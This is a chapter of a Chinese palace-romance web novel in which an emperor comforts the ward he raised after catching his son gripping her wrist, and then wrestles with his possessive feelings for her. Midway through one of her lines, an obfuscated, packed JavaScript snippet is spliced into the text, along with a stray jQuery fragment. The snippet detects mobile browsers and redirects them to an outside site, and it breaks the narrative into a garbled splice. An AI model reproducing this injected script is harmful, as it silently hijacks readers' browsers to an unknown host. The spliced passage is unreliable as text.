“父皇……”
封钰嗓音干涩,在那道目光的逼视下,不由自主地松开了手,向后退了一步。
他不敢再直视父皇的眼睛,垂首之际脑中一片混乱,那只方才还紧攥着郑相宜的手正控制不住地微微发抖。
父皇看见了!
他一直以来伪装的沉默柔顺,在这一刻彻底暴露无遗。父皇会怎么想?是厌恶他心机深沉,还是恼怒他竟敢欺负自己最宠爱的郡主?
封钰对父皇,向来是畏惧多于敬重。他深知自己的生母不为父皇所喜,出身又远不及大皇子,便一直小心翼翼,蛰伏在封钦的阴影之下。只是近日接连的喜讯让他一时忘形,直到被父皇那双深不见底的眼睛冷冷盯住,才如惊雷乍醒。
郑相宜被他松开后,吃痛地揉了揉被攥得发红的手腕,这才忐忑地抬眼。
陛下那张脸庞平静无波,唯独眼眸中带着些暗色。她慌忙垂下视线,浓密的睫毛轻颤,柔嫩的唇瓣被她咬得泛起深红。
她万万没有想到,会被陛下撞见自己与封钰纠缠的一幕。前世正是因类似情形,陛下才勃然大怒,第一次对她说了重话。
可此刻,陛下目光平静得近乎淡漠,反而让她心中的不安愈发汹涌起来。
终于,在这这片令人窒息的沉寂中,封决缓缓开口。
他说:“相宜,过来。”
语气平淡而寻常,却有一种不容置喙的力量。
郑相宜低垂着头,像犯错的孩子一般,迈着迟疑的步子慢慢挪到他的跟前停下,盯着眼底下那片黑色的衣角沉默不言。
下一刻,她的右手被一只温热的手掌握住,轻轻抬起。
他指腹缓缓摩挲着她被攥出指印的那片肌肤,声音中听不出什么情绪。
“疼么?”
这句话让郑相宜和僵立在一旁封钰同时屏住了呼吸。
他指尖所触之处,仿佛有点点星火燎原,带来一阵酥麻而灼热的战栗。
郑相宜仍旧没有抬头,只是抿紧唇,低声回道:“不疼。”
听见她的回答,封决那双眼眸反而更沉了几分。
不疼?他亲手娇养着长大的小姑娘,平日里一点苦都吃不得,如今腕上留下了这样深的红印,却说不疼?
他握住她的手,修长的手指不偏不倚,恰好将封钰留下的指痕全然覆盖。
“不疼便好,”他语气平稳,“随朕回去。”
从相宜朝她走来的那一刻起,他便再未看封钰一眼,仿佛那个流着他一半血脉的少年,不过是拂过衣角的微风,不值一顾。
封钰僵立原地,眼睁睁看着父皇牵起相宜的手带她离去,直至身影彻底消失在视线尽头。四周寂然,没有一丝声响。
木琴惴惴不安地跟在后方,一路行至紫宸殿外,正欲随入,却被封决淡淡拦下:
“郡主今日留在紫宸殿,无需旁人伺候。”
侍立于殿门的桂公公垂首恭应,心中却掀起惊涛骇浪。他在御前侍奉多年,从未见过陛下这般神情。平静得近乎压抑,犹如深海之下汹涌的暗流,仿佛下一刻便要掀起摧天裂地的巨浪。
这究竟是怎么了?前几日沧州知府贪墨之事败露,都未见陛下如此压抑骇人……
封决甚至没让桂公公跟进来,偌大的宫殿里只余下他和相宜两人。
进门后,他便松开了她的手,自顾走到案前坐下,随手翻开了一本奏折。
时间好似凝固住了,郑相宜站在门口,远远望着他清隽而淡漠的侧脸,这时的他更像朝堂上执掌生杀的帝王,而非自己记忆中温柔慈爱的长辈。
她犹豫不前,听着奏折一页页翻过的沙沙声,终于下定决心,带着视死如归的表情,一步步走上前。
她走到他身边,轻轻扯了一下他的衣袖,声音微弱地道:“我错了。”
他才放下奏折,转眼瞧她。她眼圈微微泛红,神情委屈的紧,像是一只收起了尖牙利爪的小猫,怯生生地蹭过来撒娇。
封决微笑,声音温和而明朗:“相宜错在了哪里?”
见他终于理会了自己,郑相宜颤巍巍地抱住他的手臂,脸颊轻轻蹭着他的手心,眼中泛着湿润的水光。
“我不该理会封钰。”
她心里忐忑不安,不知晓陛下究竟看到了多少,是只看到封钰攥住她的手,还是连先前她对封钰的那通戏弄都一起看进去了。
封决望入她的双眼,从中看见了她的依恋、孺慕、信仰……胸腔顿时被一种陌生的情绪充盈得鼓胀起来。
是,他看见了封钰与她的纠缠,也同样看清了她对封钰毫不掩饰的嫌恶、鄙夷,和对自己的完全不同。
他只是那一瞬间忽然有些不高兴,不高兴他的相宜,竟会对别人露出那样强烈而外显的情绪。
相宜明明……只看着他就够了,旁的人都不该得到她的一丝注目,无论是爱的恨的,她的情绪都该只为他所牵动。
这个念头让封决自己都吃了一惊,贴在她脸侧的手掌不自觉地微微收紧。
他究竟何时对相宜起了这样深的占有欲?这不该是他应有的心思。
“唔……”听见女孩的嘤咛声,他才恍然回神,目光复杂地望着这个在自己手心里一点点长大的孩子。
“相宜……”他忘了原先欲说的话,内心谴责起自己的霸道和鄙薄。
相宜是一个活生生的人,他怎能理所当然地认为相宜应当完全属于自己,不准她为旁人分去一丝心神?
她有自己的亲生父亲,有血脉相连的兄弟姊妹,或许将来还会有相守一生的夫君。
她不会、也不该完完全全属于他。
他比相宜年长了十八岁,注定只能陪伴她走过人生的一小半路,余下的时光,自会有另一个人携她同行。
他压下心中的怅然,神色已恢复如常,唇边扯起一丝略显苍白的笑:“是朕的错,不该让相宜委屈害怕。”
他方才的模样,一定是吓着相宜了。相宜是受不得半分委屈的,他该多哄哄她。
于是他俯下身,将她娇小的身子轻轻拢在怀里,手掌抚着她的后颈,声音温柔地哄着:“相宜不怕啊……”
郑相宜脸颊贴着他的胸膛,感觉自己好似回到了年幼的时候,仍旧是那个躲在他的怀里瑟瑟发抖的孩子。
她眼圈湿润了,紧紧攥着他的衣襟不放,声音里带着哽咽的哭腔。
“我害怕您对我失望了……”
她怕自己重蹈前世的覆辙,陛下误会她喜欢封钰,对她露出失望的眼神,然后丢下她独自离开。
“您怎么能不要我?我都不喜欢封钰了,是他非要来攥着我的手,我叫他放开他不放。您该生他的气,您去骂他、打他,但是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268461|182193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不能不理我!”
封决轻轻拍着她的背,听她泪水涟涟地抱怨、哭诉、撒娇,胸口涌起难以言喻的酸涩情绪。
他让相宜害怕了,让她受了委屈,让她哭红了眼睛。这个孩子本是他捧在手心上,连一句重话都舍不得说的。
可他竟没能控制住自己。
分明他最擅长隐忍。他能蛰伏十数年,等待时机一举夺下皇位,也能从容面对朝堂纷争、明枪暗箭,那么多的刀光剑影他都面不改色走过来了,只是看见相宜被封钰握住手而已,他怎么就没能控制住情绪……
他不该对相宜失望,而是该对自己失望。
相宜没有错,相宜怎么会有错?如果相宜当真犯了错,那也应当是他教养失职。
“不会不要你……”他声音干涩地安慰着。
他怎么会不要相宜?他恨不得将自己的血脉注入给相宜,让她真正成为自己的女儿。她该从他的骨子里诞生,浸在他的鲜血中长大。
从骨到肉,都是从他身上生长出来。
他这一生亲缘单薄,唯一能系住他的,也只有相宜。
可是相宜不懂,因为前世他真的丢下了她。他走后,那些人恨不得将她吞噬殆尽。
她抹着眼泪,也不知道她死后,封钰会不会将她的尸骨葬入皇陵。她想跟他睡在一块儿,永远地在一起。
“我不喜欢封钰,您把他也赶走好不好?赶得远远的……”她现在简直要恨死封钰了,要不是封钰陛下也不会误会她,害她如此担惊受怕。
什么陛下只有两个皇子,必须择一继位……她统统都不想了。她郑相宜就是个自私自利的人,封钰让她受了委屈,她就该好好地报复回去。
她举起被封钰攥红的手腕,递到他眼前,“封钰弄得我好疼,您得替我教训他!”
封决握住她的手,指腹在那微红的痕迹上轻轻抚过。相宜被他养得太过娇嫩,稍用些力便容易留下印子。
“先前不是说不疼吗?”他无奈地道,“学会跟朕嘴硬了。”
郑相宜哼哼唧唧地诉苦:“原先不疼,现在开始疼了。”其实根本算不上什么疼痛,她只是有点恶心手腕上留下了封钰的痕迹。
她眼珠一转,忽然冒出个主意,“您用点力,把封钰留的印子盖下去就好了。”她拉过陛下的手,他的手指修长分明,比封钰的好看多了,若是陛下留下的痕迹,她就不厌恶了。
封决轻扫她一眼,不由失笑:“你哪来那么多奇思妙想,真不怕朕也弄疼了你。”他每回牵她的手都小心翼翼,生怕力道重了。
最初她那么小,手又白又嫩跟水豆腐似的,走路时只能握住他一根手指。那时他也才二十出头,虽已有三个子女,却从未真正体会过养育一个孩子的滋味,终日提心吊胆,生怕她磕着碰着,好不容易才将她养成如今亭亭玉立的模样。
“如果是陛下,我就不觉得疼了。”郑相宜抓住他的手,张开掌心贴上去比了比大小,封决无奈地任由她玩闹。
“你看!”郑相宜笑着将两人相贴的手掌举到他眼前,“我现在都长这么大了。”
封决望着两人相贴的手掌,相宜的指尖泛着一丝薄红,像沁血的玉石一般漂亮。他动了动手指,忽然有一种与她十指紧扣的冲动。
但他最终什么也没做,只是笑道:“是啊,相宜长大了。”